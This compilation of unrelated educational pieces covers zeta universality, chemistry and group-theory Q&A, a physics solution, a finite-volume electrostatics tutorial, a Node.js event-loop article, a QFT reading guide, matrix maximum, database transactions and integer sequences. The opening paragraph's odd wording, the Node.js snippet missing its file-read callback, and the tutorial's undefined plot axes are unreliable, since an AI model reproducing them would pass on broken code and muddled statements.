EDIT: The Riemann zeta function (and other L-functions) also exhibit the "maximise" principle, a phenomenon known as zeta function universality. (But opinion is divided as to whimsical identity; standard axioms such as Euler product, analytic continuation, and functional equation seem unable to fully pin down any reasonable class of L-functions (and in particular contain artificial examples which violate a suitable generalisation of the Riemann hypothesis), but it is still conceivable that there is some additional axiom yet to be discovered which could do the job (and, optimistically, could separate zeta from the RH-violators).)
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# Energy in a Chemical Reaction
In a chemical reaction, is energy always either lost or gained by the reactants? As much as I am concerned, changes in energy can occur during the absorption of heat or the emission of light or heat (these are the most often occurring). Is every chemical reaction accompanied by these conditions? Aren't there any chemical reactions without these conditions? Usually when we observe common chemical reactions (sugar that is melting in the water), we don't see any emissions or absorptions. Are these changes so trifling that we can't feel them (while they actually exist), or there are reactions with no emissions or absorptions?
• You might want to narrow the scope of your query: as written, it is rather broad. – Todd Minehardt Jul 5 '17 at 22:17
• Yes, there's enthalpy of mixing if different compounds are mixed. – Mithoron Jul 5 '17 at 22:52
• Your example of "sugar that is melting in the water" likely is an error as your observation relates to dissolution of sugar, rather than to its melting. In the instance of Sucrose (en.wikipedia.org/wiki/Sucrose), there is only a decomposition temperature known, $\pu{186 ^\circ{}C}$, which is much above the temperature of serving a hot tea. For monitoring even small changes in enthalpy in the course of a reaction, there are (reaction) calorimeters (e.g. DOI: 10.1021/ie070050d, or in biochem, e.g. doi: 10.1074/jbc.M806473200). – Buttonwood Jul 6 '17 at 11:50
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Change the chapter
Question
Earth is $1.5\times 10^{11}\textrm{ m}$ from the Sun. Mercury is $5.7\times 10^{ 10}\textrm{ m}$ from the Sun. How does the gravitational field of the Sun on Mercury ($g_{SM}$) compare to the gravitational field of the Sun on Earth ($g_{SE}$)?
The graviational field of the sun at Mercury is greater than that at Earth by a factor of 6.9.
Solution Video
# OpenStax College Physics for AP® Courses Solution, Chapter 6, Problem 6 (Test Prep for AP® Courses) (1:14)
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## Calculator Screenshots
Video Transcript
This is College Physics Answers with Shaun Dychko. The gravitational field due to the Sun is gonna be measured by the gravitational constant times the mass of the Sun divided by the distance from the Sun squared. So in this case, we have the distance to Mercury and in the case of the acceleration due to gravity of the Sun on Earth, it's the same numerator but we are dividing by the distance to the Earth squared. And so to find... in order to compare these two, let's divide them. So we have g SM divided by g SE and so we are taking this fraction and copying it here and then instead of dividing a fraction by a fraction, I am instead multiplying by the reciprocal of G SE this is being in the denominator here but I don't wanna put this fraction in the denominator so I'm instead multiplying by its reciprocal. And these G's will cancel and mass of the Sun will cancel and we are left with distance to the Earth divided by distance to Mercury squared. So it's 1.5 times 10 to the 11 meters— distance to Earth— divided by 5.7 times 10 to the 10 meters— distance from the Sun to Mercury— and squared gives 6.9. So the gravitational field of the Sun at Mercury is greater than that at Earth by a factor of 6.9.
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# Using group theory to make molecular orbital diagrams
Because of Orthocresols' meta post I ask this question about application of group theory to molecular orbital theory.
In my undergraduate lecturers, we've seen many examples of making qualitative MO Diagrams by inspection of what orbitals could line up to form bonding / anti bonding orbitals.
This works fine for simple things, but I know it's possible to use symmetry to also work out mathematically which orbitals can mix with which other orbitals by using group theory.
Perhaps using example of water could somebody show how this could be achieved?
• Can you be a bit clearer? Are you talking about the mixing of the orbitals in Oxygen to the Orbitals in Hydrogen in water? – Haru Fujimura Jul 7 '17 at 18:30
Group theory really just formalises the process that you're going through when you construct molecular orbital diagrams by inspection (though as the molecules get bigger it gets significantly harder to intuitively guess at what will mix and in what combinations).
In order to construct an MO diagram for water, we'll take a stepwise approach:
• first, determine the way in which the hydrogen atoms can combine (in phase or out of phase, as per the standard dihydrogen MO diagram) which will give us a set of symmetry adapted combinations
• second, we mix these symmetry adapted orbitals with the atomic orbitals on the oxygen, bearing in mind the 'rules' of the game
• only orbitals of similar energy are able to combine
• only orbitals of correct geometry/orientation are able to combine (i.e. head on or side to side)
• only orbital of correct symmetry are able to combine. This is where group theory becomes useful
### 1. Symmetry of the central oxygen's orbitals
The symmetry of the oxygen orbitals (2s and 2p, the 1s isn't relevant to the bonding) can easily be read off from a character table. In this case, water has C2v symmetry, the character table for which is given below:
$$\begin{array}{c|cccc|cc} \hline C_\mathrm{2v} & E & C_2 & \sigma_\mathrm{v}(xz) & \sigma_\mathrm{v}'(yz) & & \\ \hline \mathrm{A_1} & 1 & 1 & 1 & 1 & z & x^2, y^2, z^2 \\ \mathrm{A_2} & 1 & 1 & -1 & -1 & R_z & xy \\ \mathrm{B_1} & 1 & -1 & 1 & -1 & x, R_y & xz \\ \mathrm{B_2} & 1 & -1 & -1 & 1 & y, R_x & yz \\ \hline \end{array}$$
To summarise the information obtained:
• the s-orbitals have a1 symmetry
• the px orbital has b1 symmetry
• the py orbital has b2 symmetry
• the pz orbital has a1 symmetry
(as @Orthocresol noted in the comments, there is no convention on axis in the C2v point group,meaning x and y can switch depending on what book you get the character table from. The one given is the same as the commonly used set from Atkins' Physical chemistry, but overall it doesn't really matter as long as you're consistent)
It's worth noting that you can derive these symmetries above by considering how the atomic orbitals moves under the various elements within that point group, this is shown below for the hydrogens, and not really needed to be repeated here.
### 2. Symmetry of the hydrogen group orbitals
To construct the group orbitals for hydrogen (which will go on to be mixed with the oxygen atomic orbitals), we simply have to consider the possible combinations and then work out the symmetries of those combinations.
For the case of two hydrogens interacting, only two cases are possible: in phase, and out of phase.
If we consider these two cases pictorially, we can then determine what happens to them under the various symmetry elements within the C2v group. If the orbitals stay the same, we assign a character of 1, if they switch, we assign -1.
Once we have the full set of characters for both possible combinations, we can assign symmetries, again, using the character table for the relevant point group:
• the in-phase combination has a1 symmetry
• the out of phase combination has b2 symmetry
### 3. Mixing
Mixing is the part of this process that you're likely more comfortable with, except now rather than considering whether interaction (on symmetry grounds) is likely by inspection, we can do it by mixing orbitals with the same symmetry labels:
The diagram above is the one that you would likely have arrived at without any consideration of group theory (you can actually derive a more complex diagram in which the molecular orbitals also mix), some key points to note:
• the oxygens orbitals have all (qualitatively) been placed lower than those of hydrogen. Electronegative atoms have more contracted orbitals and are lower in energy
• two of the p-orbitals end up non-bonding, these are the lone pairs on oxygen
• the s-orbital on oxygen interacts with the in-phase combination of hydrogen, this is the lowest energy combination rather than using the p-orbital (also with a1 symmetry)
• A caveat with $C_\mathrm{2v}$ is that every book will have a different convention on the $x$ and $y$ axes... and hence the mirror planes $\sigma_\mathrm{v}$ and $\sigma_\mathrm{v}'$, and the irreps $\mathrm{B_1}$ and $\mathrm{B_2}$, get swapped in different books. $D_\mathrm{2h}$ is even worse, it's a complete nightmare. But as long as one is consistent throughout, the final result will always be the same. – orthocresol Jul 7 '17 at 18:44
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# Gauss’ Law of Electrostatics#
Here we use the discretize package to solve for the electric potential ($$\phi$$) and electric fields ($$\mathbf{e}$$) in 2D that result from a static charge distribution. Starting with Gauss’ law and Faraday’s law:
\begin{align}\begin{aligned}&\nabla \cdot \mathbf{E} = \frac{\rho}{\epsilon_0}\\&\nabla \times \mathbf{E} = \mathbf{0} \;\;\; \Rightarrow \;\;\; \mathbf{E} = -\nabla \phi\\&\textrm{s.t.} \;\;\; \phi \Big |_{\partial \Omega} = 0\end{aligned}\end{align}
where $$\sigma$$ is the charge density and $$\epsilon_0$$ is the permittivity of free space. We will consider the case where there is both a positive and a negative charge of equal magnitude within our domain. Thus:
$\rho = \rho_0 \big [ \delta ( \mathbf{r_+}) - \delta (\mathbf{r_-} ) \big ]$
To solve this problem numerically, we use the weak formulation; that is, we take the inner product of each equation with an appropriate test function. Where $$\psi$$ is a scalar test function and $$\mathbf{f}$$ is a vector test function:
\begin{align}\begin{aligned}\int_\Omega \psi (\nabla \cdot \mathbf{E}) dV = \frac{1}{\epsilon_0} \int_\Omega \psi \rho dV\\\int_\Omega \mathbf{f \cdot E} \, dV = - \int_\Omega \mathbf{f} \cdot (\nabla \phi ) dV\end{aligned}\end{align}
In the case of Gauss’ law, we have a volume integral containing the Dirac delta function, thus:
$\int_\Omega \psi (\nabla \cdot \mathbf{E}) dV = \frac{1}{\epsilon_0} \psi \, q$
where $$q$$ represents an integrated charge density. By applying the finite volume approach to this expression we obtain:
$\mathbf{\psi^T M_c D e} = \frac{1}{\epsilon_0} \mathbf{\psi^T q}$
where $$\mathbf{q}$$ denotes the total enclosed charge for each cell. Thus $$\mathbf{q_i}=\rho_0$$ for the cell containing the positive charge and $$\mathbf{q_i}=-\rho_0$$ for the cell containing the negative charge. It is zero for every other cell.
$$\mathbf{\psi}$$ and $$\mathbf{q}$$ live at cell centers and $$\mathbf{e}$$ lives on cell faces. $$\mathbf{D}$$ is the discrete divergence operator. $$\mathbf{M_c}$$ is an inner product matrix for cell centered quantities.
For the second weak form equation, we make use of the divergence theorem as follows:
\begin{align}\begin{aligned}\int_\Omega \mathbf{f \cdot E} \, dV &= - \int_\Omega \mathbf{f} \cdot (\nabla \phi ) dV\\& = - \frac{1}{\epsilon_0} \int_\Omega \nabla \cdot (\mathbf{f} \phi ) dV + \frac{1}{\epsilon_0} \int_\Omega ( \nabla \cdot \mathbf{f} ) \phi \, dV\\& = - \frac{1}{\epsilon_0} \int_{\partial \Omega} \mathbf{n} \cdot (\mathbf{f} \phi ) da + \frac{1}{\epsilon_0} \int_\Omega ( \nabla \cdot \mathbf{f} ) \phi \, dV\\& = 0 + \frac{1}{\epsilon_0} \int_\Omega ( \nabla \cdot \mathbf{f} ) \phi \, dV\end{aligned}\end{align}
where the surface integral is zero due to the boundary conditions we imposed. Evaluating this expression according to the finite volume approach we obtain:
$\mathbf{f^T M_f e} = \mathbf{f^T D^T M_c \phi}$
where $$\mathbf{f}$$ lives on cell faces and $$\mathbf{M_f}$$ is the inner product matrix for quantities that live on cell faces. By canceling terms and combining the set of discrete equations we obtain:
$\big [ \mathbf{M_c D M_f^{-1} D^T M_c} \big ] \mathbf{\phi} = \frac{1}{\epsilon_0} \mathbf{q}$
from which we can solve for $$\mathbf{\phi}$$. The electric field can be obtained by computing:
$\mathbf{e} = \mathbf{M_f^{-1} D^T M_c \phi}$
## Import Packages#
Here we import the packages required for this tutorial.
from discretize import TensorMesh
from pymatsolver import SolverLU
import matplotlib.pyplot as plt
import numpy as np
from discretize.utils import sdiag
## Solving the Problem#
# Create a tensor mesh
h = np.ones(75)
mesh = TensorMesh([h, h], "CC")
# Create system
DIV = mesh.faceDiv # Faces to cell centers divergence
Mf_inv = mesh.getFaceInnerProduct(invMat=True)
Mc = sdiag(mesh.vol)
A = Mc * DIV * Mf_inv * DIV.T * Mc
# Define RHS (charge distributions at cell centers)
xycc = mesh.gridCC
kneg = (xycc[:, 0] == -10) & (xycc[:, 1] == 0) # -ve charge distr. at (-10, 0)
kpos = (xycc[:, 0] == 10) & (xycc[:, 1] == 0) # +ve charge distr. at (10, 0)
rho = np.zeros(mesh.nC)
rho[kneg] = -1
rho[kpos] = 1
# LU factorization and solve
AinvM = SolverLU(A)
phi = AinvM * rho
# Compute electric fields
E = Mf_inv * DIV.T * Mc * phi
# Plotting
fig = plt.figure(figsize=(14, 4))
mesh.plotImage(rho, v_type="CC", ax=ax1)
ax1.set_title("Charge Density")
mesh.plotImage(phi, v_type="CC", ax=ax2)
ax2.set_title("Electric Potential")
mesh.plotImage(
E, ax=ax3, v_type="F", view="vec", stream_opts={"color": "w", "density": 1.0}
)
ax3.set_title("Electric Fields")
Out:
Text(0.5, 1.0, 'Electric Fields')
Total running time of the script: ( 0 minutes 0.682 seconds)
Gallery generated by Sphinx-Gallery
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# setImmediate() vs nextTick() vs setTimeout(fn,0) - in depth explanation
Paul Shan Fri Feb 24 2017
Few days back, I was guiding some new node.js developers on making asynchronous stuffs. We were discussing about async apis of node js. I wanted to provide them with some references and googled for few; but surprisingly, majority of the articles out there in the internet about setImmediate() or process.nextTick() was containing insufficient or misleading information. And going through official documents of Node may not really be feasible for non-advanced developers. Hence I decided to come up with this article.
## Know the misconceptions first
Before I start describing anything, I would like to clear some of the misconceptions of the other articles, covering this topic. If you are not misled yet, you can skip this section.
### setImmediate() runs before setTimeout(fn, 0)
This is one of the most common misconceptions. I will discuss about the right concepts later on this article, but below is a proof of this statement being false.
//index.js
setTimeout(function(){
console.log("SETTIMEOUT");
});
setImmediate(function(){
console.log("SETIMMEDIATE");
});
//run it
node index.js
If the statement above was true; running the above code would have given an output where SETIMMEDIATE would have been printed always before SETTIMEOUT. However in reality, the output of the above is not predictable. If you run node index.js multiple times, you will find multiple orders.
### setImmediate() puts the callback ahead of the job queue
//index.js
setTimeout(function() {
console.log("TIMEOUT 1");
setImmediate(function() {
console.log("SETIMMEDIATE 1");
});
}, 0);
setTimeout(function() {
console.log("TIMEOUT 2");
setImmediate(function() {
console.log("SETIMMEDIATE 2");
});
}, 0);
setTimeout(function() {
console.log("TIMEOUT 3");
}, 0);
//run it
node index.js
If the statement above was true; it would have produced the following output.
TIMEOUT 1
SETIMMEDIATE 1
TIMEOUT 2
SETIMMEDIATE 2
TIMEOUT 3
But the actual output is like the following; irrespective of how many times you run it.
TIMEOUT 1
TIMEOUT 2
TIMEOUT 3
SETIMMEDIATE 1
SETIMMEDIATE 2
### nextTick() triggers the callback on next tick (iteration)
Actually both process.nextTick() and setImmediate() was named wrongly. If we swap the names of those then the names will match the functionality. However as in JavaScript, they do not deprecate/change apis, so the named continued as wrong.
In terms of functionality, process.nextTick() is actually the way to invoke a callback immediately. Callback in setImmediate() will be triggered during/next iteration.
## How node.js event loop works
The only way to understand the workflow and the differences between these three functions; you must understand the functioning of the event loop. Hope you already know that event loop handles all async callbacks, but here we will discuss how it does so.
Though I am providing a short description of event loop here; but if you want to know it properly, you should read in depth explanation of event loop structure and workflow.
Each rectangular box in the diagram represent a phase and event loops iterates on those again and again, starting from timers to close callbacks. There is also a nextTickQueue in the middle, however it’s not a part of the event loop itself. Each phase has a queue attached to it. When event loop enters in a particular phase, its target is to execute the callbacks/tasks in those queues. A little description about the phases are as below.
Timer: It handles the callbacks assigned by setTimeout & setInterval after the given time threshold is completed.
I/O callbacks: Handles all callbacks except the ones set by setTimeout, setInterval & setImmediate. It also does not have any close callbacks.
Idle, prepare: Used internally.
Pole: Retrieve new I/O events. This is which makes node a cool dude.
Check: Here the callbacks of setImmediate() is handled.
Close callbacks: Handles close connection callbacks etc. (eg: socket connection close)
nextTickQueue: Holds the callbacks of process.nextTick(); but not a part of the event loop.
### How event loop propagates
It enters the Timer phase & checks if anything (callback) is there in the timer queue. If there are some, it starts executing one after another till either the queue is empty or the maximum allowed callback execution is completed.
After Timer it moves to the I/O callback phase where it again find the queue associated with it for i/o operations. It followed the similar approach as timer and after task done moves to the next phase.
Idle phase is used by node internally; for preparation etc. After that, the event loop enters the Poll phase where it handles events. If there is no event to be handled then also the event loops waits a bit in the poll phase for new i/o events. Nothing in the event loops works when poll phase is in waiting or sleep mode. However if there are some scripts assigned by setImmediate the event loop will end the poll phase and continue to the Check phase to execute those scheduled scripts.
After Check it will try executing anything in Close callbacks and after that goes back to Timer for the next iteration or tick.
Now about nextTickQueue. Any callbacks assigned by process.nextTick() is queued in the nextTickQueue and the event loop executes them one after another another, till the entire queue is drained out; after completing the ongoing operation; irrespective of which phase it is in.
This concludes the event loop description and now we may try to understand the three apis mentioned in the title of this article.
## setImmediate()
So first of all, by the workflow of event loop, now we can say setImmediate() is not exactly immediate, but the queue containing the callbacks of this, will be executed once in every iteration (when event loop is in Check phase).
So, the example in previous section; things were non-deterministic, because it depends on the performance of the process. Cause timer has an extra work of sorting, which takes some extra time to register it. However if we move the piece of code in an I/O callback; we can guarantee that the callback of setImmediate will be called before setTimeout, irrespective of anything else.
//index.js
var fs = require('fs');
setTimeout(function(){
console.log("SETTIMEOUT");
});
setImmediate(function(){
console.log("SETIMMEDIATE");
});
});
//run it
node index.js
//output (always)
SETIMMEDIATE
SETTIMEOUT
## setTimeout(fn,0)
This also invokes the callback, but will not be executed till the event loop enters the Timer phase. So any setTimeout(fn, 0) along with setImmediate() in the Close callback phase will guarantee the execution of setTimeout 0 before the setImmediate. And accordingly, keeping the phase diagram of event loop in your mind, you can easily determine whether it’s setTimeout(fn, 0) or setImmediate() which will be called at the earliest.
## process.nextTick()
As per node.js documentation, “nextTickQueue will be processed after the current operation completes, regardless of the current phase of the event loop.”
It means, this queue will be executed whenever the boundary between JavaScript and C/C++ is crossed. So it's not like it will be called after the task in the current phase only. Neither it means after the execution of the current callback. It is sometime before the next phase is hit.
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I spent the past five months getting familiar with the basics of Quantum Field Theory (QFT). I thought I might write a post to provide some guidance to someone who, like me, have always wanted to understand basics of QFT but have had somewhat limited education in college level physics.
### Background
To give more context for my background: I took AP Physics B & C in highschool and one undergraduate physics course on Classical Mechanics, but that is as far as my education in physics has gone inside of class. I’ve always liked physics though, and read numerous pop-science books growing up. I liked physics a lot in highschool and I considered double majoring in it in college, but it never happened for a number of reasons. Being away from school (ironically?) has given me time to rebuild the some of the missing undergrad foundations and dive into some of the more advanced topics.
Before I proceed, I want to thank Flip, who luckily TA’ed the only physics class I took in undergrad. He’s given me very helpful advice in the beginning. Without his encouragement, I don’t think I would have gotten to tackling QFT this soon. Thanks, Flip!
### Before QFT
QFT does have a few prerequisites, but it is not as daunting as it may seem (given the fact that a first course on QFT is usually taught as a first-year graduate course)
• Quantum Mechanics
You need a solid foundation in undergrad QM. I worked through the entire Griffiths and read most of Sakurai, which seems to be enough so far. You need to be comfortable with the bra-ket notation, different dynamical pictures (Schrodinger, Heisenberg, Interaction), and some basic perturbation theory.
• Hamiltonian/Lagrangian mechanics
You need to be familiar with all the basics. This is a fascinating subject on its own.
• Special Relativity
This is really a half-course in terms of time (though I’m sure you can go a lot deeper into it). You just need to be familiar with the basics and working with tensors and Einstein notation. You should be familiar with the covariant form of Maxwell’s equations.
• Mathematical prerequisites
Other than the ones that carry over from undergrad physics (vector calculus, etc.) you need to be comfortable with using basic theorems of complex analysis for computations (e.g. Cauchy’s residue theorem). You should be familiar with Green’s functions (typically you first see them in E&M).
Although not necessary, I think it’s rewarding to understand the mathematical foundation of distributions (generalized functions), which give more rigorous meaning to objects like dirac delta, which physicists often deal with intuitively.
As you can see, that’s just about two and a half physics courses (if you were to prepare yourself really thoroughly) and some mathematical background that you can probably even pick up as you go, which I hope doesn’t seem as bad as you might have first expected to tackle a beast like QFT.
In particular, you do not need to know the following (though it would certainly help):
• Electromagnetism
You don’t need a full standard undergraduate course on E/M. For myself I just skimmed parts of David Tong’s lecture notes to fill in on the gaps.
• Classical Field Theory
If you’re familiar with Hamiltonian/Lagrangian mechanics for particles the extension to fields is rather straightfoward (though still very amusing)
Note: A mathematician’s introduction to QFT (TQFT, for one) probably takes a lot more work, and I have yet to learn that myself.
### Guidelines
Although I’m a beginner myself, here are some targets that I think would have helped me navigate the area better when I first tried to learn QFT.
If you’ve learned your QM, you’ll know that there’s usually two standard approach: Schrodinger’s and Heisenberg’s. In QFT there’s also two formulations, but the contrast is a bit wilder. They are called canonical quantization and path integral.
Both has its beauty and convenience, but my personal recommendation for starters is canonical quantization.
### Resources
Here are some books and articles that have helped me along the way.
• QFT for the Gifted Amateur
Despite the possibly offputting title, this book is great. They really mean much more than an amateur; the exercises can be quite challenging.
• Pros: they cover a lot (the book has 50 chapters, though each one is very short), and cover many prerequisites along the way.
• Cons: they cover a bit too much. Some depth might have been better than breadth. Bit childish at times.
• David Tong’s QFT lecture notes
These are great to read along with another more in-depth book. Despite its brevity, the notes comment on a lot of subtle things that might have troubled you elsewhere.
• Gauge theories in Particle Physics
This books is amazing. Though its depth falls quite short of more traditional texts like Peskin & Schroeder, the writing is extremely lucid. Particularly helpful is Chapter 5, introducing canonical quantization from a physical model, and Chapter 10’s overview of renormalization (although for the toy ABC theory), which was by far the clearest and most coherent exposition I came across so far.
• QFT in a Nutshell
Despite the phenomenal reviews this book has, I don’t think it’s the best book for someone completely new. The raving reviews mostly seem to come from people who already understand QFT (for them, I’d imagine it reads more like an insightful overview). But I think it’s useful for getting a highlevel refresher after you’ve read a topic elsewhere.
There are also articles on more focused topics that are helpful:
• How I Learned to Stop Worrying and Love QFT
This is a helpful article that gives some hints of how the extremely shady mathematical hand-waving that physicists routinely do in QFT could be given made more rigorous (though my understanding is that we are still far from giving a completely rigorous treatment of the many issues in QFT).
There were quite a few gems; one I remember is how the origin of the undetermined coupling constants can be traced back to the ambiguity in defining products of distributions.
Any well-known standard books or articles I left out are definitely not due to their lack of quality–I just haven’t gotten to them yet myself.
Here’s a functional integral to start off: $$\int \mathcal{D}[q]e^{i S[q]}$$
…[to be continued]
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Calculate the derivative of $y$ with respect to $x$, if $x^{2} y + 2 x y^{2} = x + y$.
$\displaystyle \frac{dy}{dx} =$
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# Is there a nice way to define the “maximum” of two quadratic forms?
Suppose I have two quadratic forms on $\mathbb R^n$, represented as symmetric matrices $A$ and $B$ on the usual basis. I am interested in approximating the function $x \mapsto \max(x^TAx, x^TBx)$ while remaining within the space of quadratic forms.
Is there a nice way to define a "maximum" operation on symmetric matrices, such that $C = \max(A,B)$ if $C$ is, in some sense, the "smallest" symmetric matrix satisfying $x^TCx \ge x^TAx$ and $x^TCx \ge x^TBx$ for all vectors $x$?
I've purposely left the notion of the "smallest" matrix $C$ undefined, as I'll accept any formalization that allows its solution to be elegantly expressed and/or easily computed. One possibility is minimizing the trace of $C$. Another, if we restrict ourselves to positive semidefinite matrices, is minimizing a convenient matrix norm.
In any case, $\max$ certainly must be commutative, and must satisfy $\max(A,A) = A$. Also, if $A$ and $B$ share the same eigenvectors, with eigenvalues $\lambda_i$ and $\mu_i$ respectively, then it seems natural that $\max(A,B)$ should also have eigenvectors the same, and eigenvalues $\max(\lambda_i,\mu_i)$. Beyond that, I can't really tell.
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Since $A-B$ is symmetric, we can write $A-B=\sum_{j=1}^n\alpha_jv_jv_j^{T}$ where $\alpha_j$ are real numbers and $v$ is a vector. We put $|A-B|:=\sum_{j=1}^n|\alpha_j|v_jv_j^T$ and $\max(A,B)=\frac 12(A+B+|A-B|)$. – Davide Giraudo Jan 25 '12 at 12:45
Wow, that turned out to be much simpler than I expected! @Davide, it certainly looks like it satisfies all the criteria I wanted. Can you post it as an answer? Also, I'd guess you would need the $v_j$ to be orthonormal; is that not so? – Rahul Jan 25 '12 at 12:56
In fact I think I managed to write it in a simpler way. – Davide Giraudo Jan 25 '12 at 12:59
Rahul, your counterexample is right. However, you have a great answer from Davide. – emiliocba Jan 25 '12 at 13:25
Let $P$ an orthogonal matrix such that $P^T(B-A)P=\operatorname{diag}(\alpha_1,\ldots,\alpha_n)$. We define $|B-A|$ as the matrix such that $P^T|B-A|P=\operatorname{diag}(|\alpha_1|,\ldots,|\alpha_n|)$, namely $|B-A|=P\operatorname{diag}(|\alpha_1|,\ldots,|\alpha_n|)P^T$. We put $\max(A,B):=\frac 12\left(A+B+|A-B|\right)$. Then we have for a fixed $x\in\mathbb R^n$: \begin{align*} x^T\max(A,B)x-x^TAx&=\frac 12x^T(B-A+|A-B|)x\\ &=\frac 12x^T(P\operatorname{diag}(\alpha_1,\ldots,\alpha_n)P^T+P\operatorname{diag}(|\alpha_1|,\ldots,|\alpha_n|)P^T)x\\ &=\frac 12(P^Tx)^T(\operatorname{diag}(\alpha_1,\ldots,\alpha_n)+\operatorname{diag}(|\alpha_1|,\ldots,|\alpha_n|))P^Tx\\ &\geq 0 \end{align*} since $\operatorname{diag}(\alpha_1+|\alpha_1|,\ldots,\alpha_n+|\alpha_n|)$ is positive semidefinite. By the same way $$x^T\max(A,B)x-x^TBx=\frac 12(P^Tx)^T(\operatorname{diag}(-\alpha_1,\ldots,-\alpha_n)+\operatorname{diag}(|\alpha_1|,\ldots,|\alpha_n|))P^Tx\geq 0.$$
Perfect answer. By the way, I took the liberty of correcting "positive definite" to "positive semidefinite" as $\alpha_i + \lvert\alpha_i\rvert$ can be zero. – Rahul Jan 25 '12 at 13:08
Indeed, this matrix is only semi-definite in general, so it's was a good idea to correct it. By the way, this proof shows how to construct $\max(A,B)$ given $A$ and $B$. – Davide Giraudo Jan 25 '12 at 13:13
Any idea if this operation would be associative? It certainly doesn't look like it at first glance, but then neither does $\max(x,y) = \frac12(x + y + |x-y|)$ on the real numbers, yet it is nonetheless. – Rahul Jan 27 '12 at 14:52
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# DB (3) - Transaction Management
This post is part of the Database Series.
"Transaction is an action, or series of actions, carried out by user or application,
- Database Systems 4th edition
Transaction is a logical unit of work on the DB. Consider the transaction example case below:
read(staffNo=x, salary);
new_salary = salary * 1.1;
write(staffNo=x, new_salary)
Within the DB, we can have one of two outcomes:
1. Success - transaction commits and database reaches a new consistent state.
2. Failure - transaction aborts, and database must be restored to consistent state before it started (rolled back / undone).
Here, committed transaction cannot be aborted, and aborted transaction that is rolled back can be restarted later.
Therefore, we have four basic properties of transactions, ACID: Atomicity: All or nothing property.
Consistency: DBMS must transform DB from one consistent state to another consistent state.
Isolation: Incomplete transactions should not be visible to other transactions.
Durability: Effects of a committed transaction are permanent.
## 2. Concurrency Control
Concurrency control is a process of managing simultaneous operations on the database without having them interfere with on another. It prevents interference when two or more users are accessing DB simultaneously and at least on is updating data. Although two transactions may be correct in themselves, interleaving of operations may produce an incorrect result.
Due to concurrency issue following problems can occur:
• Lost update: successfully completed update is overridden by another user.
• Uncommitted dependency: one transaction can see intermediate results of another transaction before it has committed.
• Inconsistent analysis: transaction reads several values but second transaction updates some of them during execution of the first.
### 2-1. Serialisability
As the name suggests, serialising runs transactions serially, but this limits degree of concurrency or parallelism in system. However, serialisability identifies those executions of transations guaranteed to ensure consistency. Serial schedule is a scheduling where operations of each transaction are executed consecutively without any interleaved operations from other transactions, while non-serial schedule is a schedule where operations from set of concurrent transactions are interleaved.
The goal of serialisability is to find non-serial schedules that allow transactions to execute concurrently without interfering with one another; we want to find non-serial schedules that are equivalent to some serial schedule. This is called a serialisable schedule.
### 2-2. Locking
Transaction uses locks to deny access to other transactions and so prevent incorrect updates. This is used to ensure serialisability. A transaction must claim a shared or exclusive lock on a data item before read or write; shared lock when read, and exclusive lock when write. Reads cannot conflict, so more than one transaction can hold shared locks on same item at the same time.
Same as other concurrency problems, deadlock can also occur in transactions. This can be handled by timeouts or other deadlock detection and recovery techniques.
For more, search with following keywords:
two-phase locking, timestamping, database recovery, log file, checkpointing, deferred update, immediate update, shadow paging, nested transaction model, sagas, multi-level transaction model, dynamic restructuring, workflow models,
#### Reference
1. My notes taken from Dr. John Dowell’s lectures at UCL - COMP0022: Database and Information Management (20/21)
2. Database Systems: A Practical Approach to Design, Implementation, and Management, 4th Edition by Thomas Connolly & Carolyn Begg
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How to Create a New Integer Sequence
# How to Create a New Integer Sequence
Tanya Khovanova
December 4, 2007
###### Abstract
There are several standard procedures used to create new sequences from a given sequence or from a given pair of sequences. In this paper I discuss the most popular of these procedures. For each procedure, I give a definition and provide examples based on three famous sequences: the natural numbers, the prime numbers and the Fibonacci numbers. I also add my thoughts on what makes a sequence interesting.
My goal is to help my readers invent new sequences, differentiate interesting sequences from boring ones, and better understand sequences they encounter.
## 1 Introduction
There are several standard procedures people use to create new sequences from a given sequence or from a given pair of sequences. Most often, I use the word “procedure”, which is interchangeable with “transformation”, “operation” or “method”. In this paper I discuss the most popular procedures. I am interested only in integer sequences, though most of the operations can be applied to other sequences. Here is the list of my examples combined into eleven logical groups:
1. Function Acting on a Sequence Elementwise
• Multiplying by a constant
• Reverse square
• Delta function
2. Function Acting on an Index of a Sequence Element
• Multiplying by a constant
• Square
3. Composition of Sequences
• Self-composition
• Composition
4. Compositional Inverse
• Left inverse
• Right inverse
5. Function Acting on Two Sequences Elementwise
• Sum of two sequences
• Square
• Product of two different sequences
• Concatenation of a sequence element with its reverse
• Concatenation of one sequence element with the reverse of another sequence element
• Function acting on many sequences elementwise
6. Set Operations
• Complement
• Intersection
• Union
7. Function Acting on Sets
• Reverse square
• Sum of two sets
• Product of two sets
8. Discrete Calculus
• Partial sums
• First difference
• Partial products
9. Geometric Inverse Sequence
• Geometric inverse
• Indicator
• Reverse indicator
10. Convolution of Two Sequences
• Self-convolution
• Convolution
• Convolutional inverse
11. Binomial Transform
• Binomial transform
• Inverse binomial transform
• Binomial transform III
For every operation I provide examples using three basic sequences. My “lab rats” are three very popular sequences: the natural numbers, the prime numbers and the Fibonacci numbers:
• 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11,
A000027: The natural numbers.
• 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41,
A000040: The prime numbers.
• 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233,
A000045: Fibonacci numbers.
For every new sequence produced I check whether this sequence is in the Online Encyclopedia of Integer Sequences (OEIS) [1]. If it is there, I provide the corresponding link and the definition from the OEIS.
After showing the examples I discuss them. One of the topics of the discussion is the interestingness of the results: are the produced sequences interesting or not, and why or why not. As a regular submitter of sequences to the OEIS database, I’ve built an emotional isomorphism of a sequence being interesting and a sequence being worth submitting to the database. In this paper I use notions of being interesting and worth submitting interchangeably.
It is easy to create an infinite number of sequences by combining or repeating the discussed procedures. Most such sequences will not be interesting, and as such will not deserve to be submitted to the OEIS, never mind the time commitment required to submit an infinite number of sequences. It is not very beneficial just to take a random sequence, apply a random procedure discussed here and submit the resulting sequence. It might be even less beneficial to take all the sequences in the database, apply all these procedures and submit all the results. It is very beneficial for the software that is used in the OEIS database to incorporate these procedures while looking up a sequence. A program of this kind exists and it is called Superseeker. Superseeker uses its own list of transformations which partially overlaps with the list of procedures I discuss here. I hope in the future Superseeker will become more powerful and will include more procedures from this list.
Meanwhile, if you take a random sequence and apply a random procedure, there are many things that might make your new sequence very interesting and worth submitting:
• Your new sequence amazes you
• You find an extra property for your new sequence
The procedures I discuss are interesting not only for generating new sequences, but also for decomposing existing sequences into simpler sequences. At the end of this paper I give two examples of building advanced sequences from my ”lab rat” sequences using the discussed procedures.
